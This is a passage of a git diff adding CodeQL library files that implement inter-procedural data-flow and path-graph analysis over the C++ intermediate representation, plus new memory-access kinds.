flowFwd(node, _, _, ap, config) +} + +private predicate flow0(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flowFwd(node, _, _, ap, config) and + config.isSink(node) and + toReturn = false and + ap instanceof AccessPathNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flow(mid, toReturn, ap, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + localFlowBigStep(node, mid, false, config) and + flow(mid, toReturn, ap0, config) and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flow(mid, _, ap, config) and + toReturn = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + jumpStep(node, mid, false, config) and + flow(mid, _, ap0, config) and + toReturn = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flow(mid, false, ap, config) and + toReturn = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flow(mid, _, ap, config) and + toReturn = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPath ap0 | + flowThroughMethod(node, mid, preservesValue, config) and + flow(mid, toReturn, ap0, config) and + ( + preservesValue = true and ap = ap0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil and + flowFwd(node, _, _, ap, config) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowStore(node, f, toReturn, ap0, config) and + pop(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowRead(node, f, toReturn, ap0, config) and + push(ap0, f, ap) + ) + ) +} + +pragma[nomagic] +private predicate flowStore( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + store(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +pragma[nomagic] +private predicate flowRead( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + read(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +bindingset[conf, result] +private Configuration unbind(Configuration conf) { result >= conf and result <= conf } + +private predicate flow(Node n, Configuration config) { flow(n, _, _, config) } + +private newtype TPathNode = + TPathNodeMid(Node node, CallContext cc, AccessPath ap, Configuration config) { + // A PathNode is introduced by a source ... + flow(node, config) and + config.isSource(node) and + cc instanceof CallContextAny and + ap = TNil(getErasedRepr(node.getType())) + or + // ... or a step from an existing PathNode to another node. + exists(PathNodeMid mid | + flowStep(mid, node, cc, ap) and + config = mid.getConfiguration() and + flow(node, _, ap, unbind(config)) + ) + } or + TPathNodeSink(Node node, Configuration config) { + // The AccessPath on a sink is empty. + config.isSink(node) and + flow(node, config) + } + +/** + * A `Node` augmented with a call context (except for sinks), an access path, and a configuration. + * Only those `PathNode`s that are reachable from a source are generated. + */ +abstract class PathNode extends TPathNode { + /** Gets a textual representation of this element. */ + string toString() { result = getNode().toString() + ppAp() } + + /** Gets the source location for this element. */ + Location getLocation() { result = getNode().getLocation() } + + /** Gets the underlying `Node`. */ + abstract Node getNode(); + + /** Gets the associated configuration. */ + abstract Configuration getConfiguration(); + + /** Gets a successor. */ + abstract PathNode getSucc(); + + private string ppAp() { + this instanceof PathNodeSink and result = "" + or + result = " [" + this.(PathNodeMid).getAp().toString() + "]" + } +} + +/** Holds if `n` can reach a sink. */ +private predicate reach(PathNode n) { n instanceof PathNodeSink or reach(n.getSucc()) } + +/** Holds if `n1.getSucc() = n2` and `n2` can reach a sink. */ +private predicate pathSucc(PathNode n1, PathNode n2) { n1.getSucc() = n2 and reach(n2) } + +private predicate pathSuccPlus(PathNode n1, PathNode n2) = fastTC(pathSucc/2)(n1, n2) + +/** + * Provides the query predicates needed to include a graph in a path-problem query. + */ +module PathGraph { + /** Holds if `(a,b)` is an edge in the graph of data flow path explanations. */ + query predicate edges(PathNode a, PathNode b) { pathSucc(a, b) } +} + +/** + * An intermediate flow graph node. This is a triple consisting of a `Node`, + * a `CallContext`, and a `Configuration`. + */ +private class PathNodeMid extends PathNode, TPathNodeMid { + Node node; + + CallContext cc; + + AccessPath ap; + + Configuration config; + + PathNodeMid() { this = TPathNodeMid(node, cc, ap, config) } + + override Node getNode() { result = node } + + CallContext getCallContext() { result = cc } + + AccessPath getAp() { result = ap } + + override Configuration getConfiguration() { result = config } + + private PathNodeMid getSuccMid() { + flowStep(this, result.getNode(), result.getCallContext(), result.getAp()) and + result.getConfiguration() = unbind(this.getConfiguration()) + } + + override PathNode getSucc() { + // an intermediate step to another intermediate node + result = getSuccMid() + or + // a final step to a sink via one or more local steps + localFlowStepPlus(node, result.getNode(), _, config) and + ap instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(this.getConfiguration()) + or + // a final step to a sink via zero steps means we merge the last two steps to prevent trivial-looking edges + exists(PathNodeMid mid | + mid = getSuccMid() and + mid.getNode() = result.getNode() and + mid.getAp() instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(mid.getConfiguration()) + ) + or + // a direct step from a source to a sink if a node is both + this instanceof PathNodeSource and + result instanceof PathNodeSink and + this.getNode() = result.getNode() and + result.getConfiguration() = unbind(this.getConfiguration()) + } +} + +/** + * A flow graph node corresponding to a source. + */ +private class PathNodeSource extends PathNodeMid { + PathNodeSource() { + getConfiguration().isSource(getNode()) and + getCallContext() instanceof CallContextAny and + getAp() instanceof AccessPathNil + } +} + +/** + * A flow graph node corresponding to a sink. This is disjoint from the + * intermediate nodes in order to uniquely correspond to a given sink by + * excluding the `CallContext`. + */ +private class PathNodeSink extends PathNode, TPathNodeSink { + Node node; + + Configuration config; + + PathNodeSink() { this = TPathNodeSink(node, config) } + + override Node getNode() { result = node } + + override Configuration getConfiguration() { result = config } + + override PathNode getSucc() { none() } +} + +/** + * Holds if data may flow from `mid` to `node`. The last step in or out of + * a callable is recorded by `cc`. + */ +private predicate flowStep(PathNodeMid mid, Node node, CallContext cc, AccessPath ap) { + localFlowBigStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc = mid.getCallContext() and + ap = mid.getAp() + or + localFlowBigStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc = mid.getCallContext() and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + jumpStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc instanceof CallContextAny and + ap = mid.getAp() + or + jumpStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc instanceof CallContextAny and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + contentReadStep(mid, node, ap) and cc = mid.getCallContext() + or + exists(Content f, AccessPath ap0 | contentStoreStep(mid, node, ap0, f, cc) and push(ap0, f, ap)) + or + flowOutOfArgument(mid, node, cc) and ap = mid.getAp() + or + flowIntoCallable(mid, node, _, cc, _) and ap = mid.getAp() + or + flowOutOfMethod(mid, node.asExpr(), cc) and ap = mid.getAp() + or + flowThroughMethod(mid, node.asExpr(), cc) and ap = TNil(getErasedRepr(node.getType())) + or + valueFlowThroughMethod(mid, node.asExpr(), cc) and ap = mid.getAp() +} + +private predicate contentReadStep(PathNodeMid mid, Node node, AccessPath ap) { + exists(Content f, AccessPath ap0 | + ap0 = mid.getAp() and + read(mid.getNode(), f, node) and + pop(ap0, f, ap) + ) +} + +pragma[noinline] +private predicate contentStoreStep( + PathNodeMid mid, Node node, AccessPath ap0, Content f, CallContext cc +) { + ap0 = mid.getAp() and + store(mid.getNode(), f, node) and + cc = mid.getCallContext() +} + +/** + * Holds if data may flow from `mid` to an exit of `m` in the context + * `innercc`, and the path did not flow through a parameter of `m`. + */ +private predicate flowOutOfMethod0(PathNodeMid mid, Method m, CallContext innercc) { + exists(ReturnNode ret | + ret = mid.getNode() and + innercc = mid.getCallContext() and + m = returnNodeGetEnclosingCallable(ret) and + not innercc instanceof CallContextCall + ) +} + +/** + * Holds if data may flow from `mid` to `ma`. The last step of this path + * is a return from a method and is recorded by `cc`, if needed. + */ +pragma[noinline] +private predicate flowOutOfMethod(PathNodeMid mid, MethodAccess ma, CallContext cc) { + exists(Method m, CallContext innercc | + flowOutOfMethod0(mid, m, innercc) and + resolveReturn(innercc, m, ma) + | + if reducedViableImplInReturn(m, ma) then cc = TReturn(m, ma) else cc = TAnyCallContext() + ) +} + +private predicate flowOutOfArgument(PathNodeMid mid, PostUpdateNode node, CallContext cc) { + exists( + PostUpdateNode n, ParameterNode p, Callable callable, CallContext innercc, int i, Call call, + ArgumentNode arg + | + mid.getNode() = n and + parameterValueFlowsToUpdate(p, n) and + innercc = mid.getCallContext() and + p.isParameterOf(callable, i) and + resolveReturn(innercc, callable, call) and + node.getPreUpdateNode() = arg and + arg.argumentOf(call, i) and + flow(node, unbind(mid.getConfiguration())) + | + if reducedViableImplInReturn(callable, call) + then cc = TReturn(callable, call) + else cc = TAnyCallContext() + ) +} + +/** + * Holds if data may flow from `mid` to the `i`th argument of `call` in `cc`. + */ +pragma[noinline] +private predicate flowIntoArg(PathNodeMid mid, int i, CallContext cc, Call call, boolean emptyAp) { + exists(ArgumentNode arg, AccessPath ap | + arg = mid.getNode() and + cc = mid.getCallContext() and + arg.argumentOf(call, i) and + ap = mid.getAp() + | + ap instanceof AccessPathNil and emptyAp = true + or + ap instanceof AccessPathCons and emptyAp = false + ) +} + +pragma[noinline] +private predicate parameterCand(Callable callable, int i, Configuration config) { + exists(ParameterNode p | + flow(p, config) and + p.isParameterOf(callable, i) + ) +} + +pragma[nomagic] +private predicate flowIntoCallable0( + PathNodeMid mid, Callable callable, int i, CallContext outercc, Call call, boolean emptyAp +) { + flowIntoArg(mid, i, outercc, call, emptyAp) and + callable = resolveCall(call, outercc) and + parameterCand(callable, any(int j | j <= i and j >= i), mid.getConfiguration()) +} + +/** + * Holds if data may flow from `mid` to `p` through `call`. The contexts + * before and after entering the callable are `outercc` and `innercc`, + * respectively. + */ +private predicate flowIntoCallable( + PathNodeMid mid, ParameterNode p, CallContext outercc, CallContextCall innercc, Call call +) { + exists(int i, Callable callable, boolean emptyAp | + flowIntoCallable0(mid, callable, i, outercc, call, emptyAp) and + p.isParameterOf(callable, i) + | + if reducedViableImplInCallContext(_, callable, call) + then innercc = TSpecificCall(call, i, emptyAp) + else innercc = TSomeCall(p, emptyAp) + ) +} + +/** Holds if data may flow from `p` to a return statement in the callable. */ +pragma[nomagic] +private predicate paramFlowsThrough(ParameterNode p, CallContextCall cc, Configuration config) { + exists(PathNodeMid mid, ReturnNode ret | + mid.getNode() = ret and + cc = mid.getCallContext() and + config = mid.getConfiguration() and + mid.getAp() instanceof AccessPathNil + | + cc = TSomeCall(p, true) + or + exists(int i | cc = TSpecificCall(_, i, true) | + p.isParameterOf(returnNodeGetEnclosingCallable(ret), i) + ) + ) +} + +/** + * Holds if data may flow from `mid` to an argument of `methodcall`, + * through a called method `m`, and back out through a return statement in + * `m`. The context `cc` is restored to its value prior to entering `m`. + */ +pragma[noinline] +private predicate flowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p, CallContext innercc | + flowIntoCallable(mid, p, cc, innercc, methodcall) and + paramFlowsThrough(p, innercc, unbind(mid.getConfiguration())) and + not parameterValueFlowsThrough(p) and + mid.getAp() instanceof AccessPathNil + ) +} + +private predicate valueFlowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p | + flowIntoCallable(mid, p, cc, _, methodcall) and + parameterValueFlowsThrough(p) + ) +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +private predicate flowsTo( + PathNodeSource flowsource, PathNodeSink flowsink, Node source, Node sink, + Configuration configuration +) { + flowsource.getConfiguration() = configuration and + flowsource.getNode() = source and + pathSuccPlus(flowsource, flowsink) and + flowsink.getNode() = sink +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +predicate flowsTo(Node source, Node sink, Configuration configuration) { + flowsTo(_, _, source, sink, configuration) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll new file mode 100644 index 00000000000..02c9919723b --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll @@ -0,0 +1,284 @@ +import DataFlowUtil +private import DataFlowPrivate +private import DataFlowDispatch + +cached +private module ImplCommon { + /** + * Holds if `p` is the `i`th parameter of a viable dispatch target of `call`. + * The instance parameter is considered to have index `-1`. + */ + pragma[nomagic] + private predicate viableParam(Call call, int i, ParameterNode p) { + exists(Callable callable | + callable = viableCallable(call) and + p.isParameterOf(callable, i) + ) + } + + /** + * Holds if `arg` is a possible argument to `p` taking virtual dispatch into account. + */ + cached + predicate viableParamArg(ParameterNode p, ArgumentNode arg) { + exists(int i, Call call | + viableParam(call, i, p) and + arg.argumentOf(call, i) + ) + } + + /** + * Holds if `p` can flow to `node` in the same callable using only + * value-preserving steps. + */ + private predicate parameterValueFlow(ParameterNode p, Node node) { + p = node + or + exists(Node mid | + parameterValueFlow(p, mid) and + localFlowStep(mid, node) and + compatibleTypes(p.getType(), node.getType()) + ) + or + // flow through a callable + exists(Node arg | + parameterValueFlow(p, arg) and + argumentValueFlowsThrough(arg, node) and + compatibleTypes(p.getType(), node.getType()) + ) + } + + /** + * Holds if `p` can flow to a `ReturnNode` in the same callable using only + * value-preserving steps. + */ + cached + predicate parameterValueFlowsThrough(ParameterNode p) { + exists(ReturnNode ret | parameterValueFlow(p, ret)) + } + + /** + * Holds if `arg` flows through `call` using only value-preserving steps. + */ + cached + predicate argumentValueFlowsThrough(ArgumentNode arg, ExprNode call) { + exists(ParameterNode param | + viableParamArg(param, arg) and + parameterValueFlowsThrough(param) and + arg.argumentOf(call.getExpr(), _) and + compatibleTypes(arg.getType(), call.getType()) + ) + } + + /** + * Holds if `p` can flow to the pre-update node of `n` in the same callable + * using only value-preserving steps. + */ + cached + predicate parameterValueFlowsToUpdate(ParameterNode p, PostUpdateNode n) { + parameterValueFlow(p, n.getPreUpdateNode()) + } + + /** + * Holds if data can flow from `node1` to `node2` in one local step or a step + * through a value-preserving method. + */ + private predicate localValueStep(Node node1, Node node2) { + localFlowStep(node1, node2) or + argumentValueFlowsThrough(node1, node2) + } + + /* + * Calculation of `predicate store(Node node1, Content f, Node node2)`: + * There are three cases: + * - The base case: A direct local assignment given by `storeStep`. + * - A call to a method or constructor with two arguments, `arg1` and `arg2`, + * such the call has the side-effect `arg2.f = arg1`. + * - A call to a method that returns an object in which an argument has been + * stored. + * `storeViaSideEffect` covers the first two cases, and `storeReturn` covers + * the third case. + */ + + /** + * Holds if data can flow from `node1` to `node2` via a direct assignment to + * `f` or via a call that acts as a setter. + */ + cached + predicate store(Node node1, Content f, Node node2) { + storeViaSideEffect(node1, f, node2) or + storeReturn(node1, f, node2) + } + + private predicate storeViaSideEffect(Node node1, Content f, PostUpdateNode node2) { + storeStep(node1, f, node2) and readStep(_, f, _) + or + exists(Call call, int i1, int i2 | + setterCall(call, i1, i2, f) and + node1.(ArgumentNode).argumentOf(call, i1) and + node2.getPreUpdateNode().(ArgumentNode).argumentOf(call, i2) and + compatibleTypes(node1.getTypeBound(), f.getType()) and + compatibleTypes(node2.getTypeBound(), f.getContainerType()) + ) + } + + pragma[nomagic] + private predicate setterInParam(ParameterNode p1, Content f, ParameterNode p2) { + exists(Node n1, PostUpdateNode n2 | + parameterValueFlow(p1, n1) and + storeViaSideEffect(n1, f, n2) and + parameterValueFlow(p2, n2.getPreUpdateNode()) and + p1 != p2 + ) + } + + pragma[nomagic] + private predicate setterCall(Call call, int i1, int i2, Content f) { + exists(Callable callable, ParameterNode p1, ParameterNode p2 | + setterInParam(p1, f, p2) and + callable = viableCallable(call) and + p1.isParameterOf(callable, i1) and + p2.isParameterOf(callable, i2) + ) + } + + private predicate storeReturn(Node node1, Content f, Node node2) { + exists(ParameterNode p, ArgumentNode arg | + arg = node1 and + viableParamArg(p, arg) and + setterReturn(p, f) and + arg.argumentOf(node2.asExpr(), _) and + compatibleTypes(node1.getTypeBound(), f.getType()) and + compatibleTypes(node2.getTypeBound(), f.getContainerType()) + ) + } + + private predicate setterReturn(ParameterNode p, Content f) { + exists(Node n1, Node n2, ReturnNode ret | + parameterValueFlow(p, n1) and + store(n1, f, n2) and + localValueStep*(n2, ret) + ) + } + + /** + * Holds if data can flow from `node1` to `node2` via a direct read of `f` or + * via a getter. + */ + cached + predicate read(Node node1, Content f, Node node2) { + readStep(node1, f, node2) and storeStep(_, f, _) + or + exists(ParameterNode p, ArgumentNode arg | + arg = node1 and + viableParamArg(p, arg) and + getter(p, f) and + arg.argumentOf(node2.asExpr(), _) and + compatibleTypes(node1.getTypeBound(), f.getContainerType()) and + compatibleTypes(node2.getTypeBound(), f.getType()) + ) + } + + private predicate getter(ParameterNode p, Content f) { + exists(Node n1, Node n2, ReturnNode ret | + parameterValueFlow(p, n1) and + read(n1, f, n2) and + localValueStep*(n2, ret) + ) + } + + cached + predicate localStoreReadStep(Node node1, Node node2) { + exists(Node mid1, Node mid2, Content f | + store(node1, f, mid1) and + localValueStep*(mid1, mid2) and + read(mid2, f, node2) + ) + } + + /** + * Holds if `call` passes an implicit or explicit instance argument, i.e., an + * expression that reaches a `this` parameter. + */ + private predicate callHasInstanceArgument(Call call) { + exists(ArgumentNode arg | arg.argumentOf(call, -1)) + } + + cached + newtype TCallContext = + TAnyCallContext() or + TSpecificCall(Call call, int i, boolean emptyAp) { + reducedViableImplInCallContext(_, _, call) and + (emptyAp = true or emptyAp = false) and + ( + exists(call.getArgument(i)) + or + i = -1 and callHasInstanceArgument(call) + ) + } or + TSomeCall(ParameterNode p, boolean emptyAp) { emptyAp = true or emptyAp = false } or + TReturn(Method m, MethodAccess ma) { reducedViableImplInReturn(m, ma) } +} +import ImplCommon + +/** + * A call context to restrict the targets of virtual dispatch and match the + * call sites of flow into a method with flow out of a method. + * + * There are four cases: + * - `TAnyCallContext()` : No restrictions on method flow. + * - `TSpecificCall(Call call, int i)` : Flow entered through the `i`th + * parameter at the given `call`. This call improves the set of viable + * dispatch targets for at least one method call in the current callable. + * - `TSomeCall(ParameterNode p)` : Flow entered through parameter `p`. The + * originating call does not improve the set of dispatch targets for any + * method call in the current callable and was therefore not recorded. + * - `TReturn(Method m, MethodAccess ma)` : Flow reached `ma` from `m` and + * this dispatch target of `ma` implies a reduced set of dispatch origins + * to which data may flow if it should reach a `return` statement. + */ +abstract class CallContext extends TCallContext { abstract string toString(); } + +class CallContextAny extends CallContext, TAnyCallContext { + override string toString() { result = "CcAny" } +} + +abstract class CallContextCall extends CallContext { } + +class CallContextSpecificCall extends CallContextCall, TSpecificCall { + override string toString() { result = "CcCall" } +} + +class CallContextSomeCall extends CallContextCall, TSomeCall { + override string toString() { result = "CcSomeCall" } +} + +class CallContextReturn extends CallContext, TReturn { + override string toString() { result = "CcReturn" } +} + +bindingset[cc, callable] +predicate resolveReturn(CallContext cc, Callable callable, Call call) { + cc instanceof CallContextAny and callable = viableCallable(call) + or + exists(Method m0, MethodAccess ma0 | + ma0.getEnclosingCallable() = callable and + cc = TReturn(m0, ma0) and + m0 = prunedViableImplInCallContextReverse(ma0, call) + ) +} + +bindingset[call, cc] +Callable resolveCall(Call call, CallContext cc) { + exists(Call ctx | cc = TSpecificCall(ctx, _, _) | + if reducedViableImplInCallContext(call, _, ctx) + then result = prunedViableImplInCallContext(call, ctx) + else result = viableCallable(call) + ) + or + result = viableCallable(call) and cc instanceof CallContextSomeCall + or + result = viableCallable(call) and cc instanceof CallContextAny + or + result = viableCallable(call) and cc instanceof CallContextReturn +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll new file mode 100644 index 00000000000..2d29f1b47d9 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -0,0 +1,187 @@ +private import cpp +private import DataFlowUtil + +/** + * A data flow node that occurs as the argument of a call and is passed as-is + * to the callable. Instance arguments (`this` pointer) are also included. + */ +class ArgumentNode extends Node { + ArgumentNode() { + exists(CallInstruction call | + this = call.getAnArgument() + ) + } + + /** + * Holds if this argument occurs at the given position in the given call. + * The instance argument is considered to have index `-1`. + */ + predicate argumentOf(Call call, int pos) { + exists (CallInstruction callInstr | + callInstr.getAST() = call and + ( + this = callInstr.getPositionalArgument(pos) or + this = callInstr.getThisArgument() and pos = -1 + ) + ) + } +} + +/** A data flow node that occurs as the result of a `ReturnStmt`. */ +class ReturnNode extends Node { + ReturnNode() { + exists(ReturnValueInstruction ret | this = ret.getReturnValue() ) + } +} + +/** + * Holds if data can flow from `node1` to `node2` in a way that loses the + * calling context. For example, this would happen with flow through a + * global or static variable. + */ +predicate jumpStep(Node n1, Node n2) { + none() +} + +/** + * Holds if `call` does not pass an implicit or explicit qualifier, i.e., a + * `this` parameter. + */ +predicate callHasQualifier(Call call) { + call.hasQualifier() + or + call.getTarget() instanceof Destructor +} + +private newtype TContent = TFieldContent(Field f) or TCollectionContent() or TArrayContent() + +/** + * A reference contained in an object. Examples include instance fields, the + * contents of a collection object, or the contents of an array. + */ +class Content extends TContent { + /** Gets a textual representation of this element. */ + abstract string toString(); + predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) { + path = "" and sl = 0 and sc = 0 and el = 0 and ec = 0 + } + /** Gets the type of the object containing this content. */ + abstract RefType getContainerType(); + /** Gets the type of this content. */ + abstract Type getType(); +} +private class FieldContent extends Content, TFieldContent { + Field f; + FieldContent() { this = TFieldContent(f) } + Field getField() { result = f } + override string toString() { result = f.toString() } + override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) { + f.getLocation().hasLocationInfo(path, sl, sc, el, ec) + } + override RefType getContainerType() { result = f.getDeclaringType() } + override Type getType() { result = f.getType() } +} +private class CollectionContent extends Content, TCollectionContent { + override string toString() { result = "collection" } + override RefType getContainerType() { none() } + override Type getType() { none() } +} +private class ArrayContent extends Content, TArrayContent { + override string toString() { result = "array" } + override RefType getContainerType() { none() } + override Type getType() { none() } +} + +/** + * Holds if data can flow from `node1` to `node2` via an assignment to `f`. + * Thus, `node2` references an object with a field `f` that contains the + * value of `node1`. + */ +predicate storeStep(Node node1, Content f, PostUpdateNode node2) { + none() // stub implementation +} + +/** + * Holds if data can flow from `node1` to `node2` via a read of `f`. + * Thus, `node1` references an object with a field `f` whose value ends up in + * `node2`. + */ +predicate readStep(Node node1, Content f, Node node2) { + none() // stub implementation +} + +/** + * Gets a representative (boxed) type for `t` for the purpose of pruning + * possible flow. A single type is used for all numeric types to account for + * numeric conversions, and otherwise the erasure is used. + */ +RefType getErasedRepr(Type t) { + suppressUnusedType(t) and + result instanceof VoidType // stub implementation +} + +/** Gets a string representation of a type returned by `getErasedRepr`. */ +string ppReprType(Type t) { + result = t.toString() +} + +/** + * Holds if `t1` and `t2` are compatible, that is, whether data can flow from + * a node of type `t1` to a node of type `t2`. + */ +pragma[inline] +predicate compatibleTypes(Type t1, Type t2) { + any() // stub implementation +} + +private predicate suppressUnusedType(Type t) { any() } + +////////////////////////////////////////////////////////////////////////////// +// Java QL library compatibility wrappers +////////////////////////////////////////////////////////////////////////////// + +class RefType extends Type { +} + +class CastExpr extends Expr { + CastExpr() { none() } // stub implementation +} + +/** An argument to a call. */ +class Argument extends Expr { + Call call; + int pos; + + Argument() { + call.getArgument(pos) = this + } + + /** Gets the call that has this argument. */ + Call getCall() { result = call } + + /** Gets the position of this argument. */ + int getPosition() { + result = pos + } +} + +class Callable extends Function { } + +/** + * An alias for `Function` in the C++ library. In the Java library, a `Method` + * is any callable except a constructor. + */ +class Method extends Function { } + +/** + * An alias for `FunctionCall` in the C++ library. In the Java library, a + * `MethodAccess` is any `Call` that does not call a constructor. + */ +class MethodAccess extends FunctionCall { + /** + * INTERNAL: Do not use. Alternative name for `getEnclosingFunction`. + */ + Callable getEnclosingCallable() { + result = this.getEnclosingFunction() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll new file mode 100644 index 00000000000..cd9b874781b --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -0,0 +1,135 @@ +/** + * Provides C++-specific definitions for use in the data flow library. + */ +import cpp +import semmle.code.cpp.ir.IR + +/** + * A node in a data flow graph. + * + * A node can be either an expression, a parameter, or an uninitialized local + * variable. Such nodes are created with `DataFlow::exprNode`, + * `DataFlow::parameterNode`, and `DataFlow::uninitializedNode` respectively. +*/ +class Node extends Instruction { + /** + * INTERNAL: Do not use. Alternative name for `getFunction`. + */ + Function getEnclosingCallable() { + result = this.getFunction() + } + + /** Gets the type of this node. */ + Type getType() { + result = this.getResultType() + } + + /** Gets the expression corresponding to this node, if any. */ + Expr asExpr() { result = this.getConvertedResultExpression() } + + /** Gets the parameter corresponding to this node, if any. */ + Parameter asParameter() { result = this.(InitializeParameterInstruction).getParameter() } + + /** + * Gets the uninitialized local variable corresponding to this node, if + * any. + */ + LocalVariable asUninitialized() { + result = this.(UninitializedInstruction).getLocalVariable() + } + + /** + * Gets an upper bound on the type of this node. + */ + Type getTypeBound() { result = getType() } +} + +/** + * An expression, viewed as a node in a data flow graph. + */ +class ExprNode extends Node { + Expr expr; + + ExprNode() { expr = this.asExpr() } + Expr getExpr() { result = expr } +} + +/** + * The value of a parameter at function entry, viewed as a node in a data + * flow graph. + */ +class ParameterNode extends Node, InitializeParameterInstruction { + /** + * Holds if this node is the parameter of `c` at the specified (zero-based) + * position. The implicit `this` parameter is considered to have index `-1`. + */ + predicate isParameterOf(Function f, int i) { + f.getParameter(i) = getParameter() + } +} + +/** + * The value of an uninitialized local variable, viewed as a node in a data + * flow graph. + */ +class UninitializedNode extends Node, UninitializedInstruction { +} + +/** + * A node associated with an object after an operation that might have + * changed its state. + * + * This can be either the argument to a callable after the callable returns + * (which might have mutated the argument), or the qualifier of a field after + * an update to the field. + * + * Nodes corresponding to AST elements, for example `ExprNode`, usually refer + * to the value before the update with the exception of `ClassInstanceExpr`, + * which represents the value after the constructor has run. + * + * This class exists to match the interface used by Java. There are currently no non-abstract + * classes that extend it. When we implement field flow, we can revisit this. + */ +abstract class PostUpdateNode extends Node { + /** + * Gets the node before the state update. + */ + abstract Node getPreUpdateNode(); +} + +/** + * Gets the `Node` corresponding to `e`. + */ +ExprNode exprNode(Expr e) { result.getExpr() = e } + +/** + * Gets the `Node` corresponding to the value of `p` at function entry. + */ +ParameterNode parameterNode(Parameter p) { result.getParameter() = p } + +/** + * Gets the `Node` corresponding to the value of an uninitialized local + * variable `v`. + */ +UninitializedNode uninitializedNode(LocalVariable v) { + result.getLocalVariable() = v +} + +/** + * Holds if data flows from `nodeFrom` to `nodeTo` in exactly one local + * (intra-procedural) step. + */ +predicate localFlowStep(Node nodeFrom, Node nodeTo) { + nodeTo.(CopyInstruction).getSourceValue() = nodeFrom or + nodeTo.(PhiInstruction).getAnOperand().getDefinitionInstruction() = nodeFrom or + // Treat all conversions as flow, even conversions between different numeric types. + nodeTo.(ConvertInstruction).getOperand() = nodeFrom +} + +/** + * Holds if data flows from `source` to `sink` in zero or more local + * (intra-procedural) steps. + */ +predicate localFlow(Node source, Node sink) { + localFlowStep*(source, sink) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/MemoryAccessKind.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/MemoryAccessKind.qll index 6cfa61861ff..28299b8c33a 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/MemoryAccessKind.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/MemoryAccessKind.qll @@ -1,10 +1,15 @@ import cpp -newtype TMemoryAccessKind = +private newtype TMemoryAccessKind = TIndirectMemoryAccess() or + TIndirectMayMemoryAccess() or + TBufferMemoryAccess() or + TBufferMayMemoryAccess() or TEscapedMemoryAccess() or TPhiMemoryAccess() or - TUnmodeledMemoryAccess() + TUnmodeledMemoryAccess() or + TChiTotalMemoryAccess() or + TChiPartialMemoryAccess() /** * Describes the set of memory locations memory accessed by a memory operand or @@ -15,8 +20,8 @@ class MemoryAccessKind extends TMemoryAccessKind { } /** - * The operand or result accesses memory at the address specified by the - * `AddressOperand` on the same instruction. + * The operand or result accesses memory at the address specified by the `AddressOperand` on the + * same instruction. */ class IndirectMemoryAccess extends MemoryAccessKind, TIndirectMemoryAccess { override string toString() { @@ -24,6 +29,38 @@ class IndirectMemoryAccess extends MemoryAccessKind, TIndirectMemoryAccess { } } +/** + * The operand or result may access some, all, or none of the memory at the address specified by the + * `AddressOperand` on the same instruction. + */ +class IndirectMayMemoryAccess extends MemoryAccessKind, TIndirectMayMemoryAccess { + override string toString() { + result = "indirect(may)" + } +} + +/** + * The operand or result accesses memory starting at the address specified by the `AddressOperand` + * on the same instruction, accessing a number of consecutive elements given by the + * `BufferSizeOperand`. + */ +class BufferMemoryAccess extends MemoryAccessKind, TBufferMemoryAccess { + override string toString() { + result = "buffer" + } +} + +/** + * The operand or result may access some, all, or none of the memory starting at the address + * specified by the `AddressOperand` on the same instruction, accessing a number of consecutive + * elements given by the 